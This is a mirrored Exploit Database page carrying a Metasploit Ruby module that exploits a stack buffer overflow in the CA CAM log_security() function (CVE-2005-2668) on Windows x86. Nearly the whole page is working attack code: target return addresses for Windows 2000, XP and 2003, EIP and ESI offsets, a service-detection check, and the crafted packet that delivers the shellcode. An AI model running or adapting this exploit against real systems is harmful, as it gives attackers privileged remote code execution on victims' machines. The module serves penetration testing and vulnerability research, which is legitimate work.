CA CAM (Windows x86) – ‘log_security()’ Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16825/

• ##
  # $Id: cam_log_security.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
  			'Description'=> %q{
  					This module exploits a vulnerability in the CA CAM service
  				by passing a long parameter to the log_security() function.
  				The CAM service is part of TNG Unicenter. This module has
  				been tested on Unicenter v3.1.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2005-2668'],
  					['OSVDB', '18916'],
  					['BID', '14622'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					# W2API.DLL @ 0x01950000 - return to ESI
  					['W2API.DLL TNG 2.3',{ 'Platform' => 'win', 'Ret' => 0x01951107 }],
  
  					# Return to ESI in ws2help.dll
  					['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
  					['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
  					['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
  					['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
  				],
  			'DisclosureDate' => 'Aug 22 2005',
  			'DefaultTarget' => 0))
  	end
  
  
  	def check
  		connect
  		ack = sock.get_once
  		disconnect
  
  		(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		ack = sock.get_once
  		if (ack != "ACK\x00")
  			print_status("The CAM service is not responding")
  		end
  
  		buf = rand_text_english(4096, payload_badchars)
  
  		# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
  		buf[ 1016, 4 ] = [target.ret].pack('V')
  		buf[ 1052, payload.encoded.length ] = payload.encoded
  
  		sock.put("\xfa\xf9\x00\x10" + buf + "\x00")
  
  		handler
  		disconnect
  	end
  
  end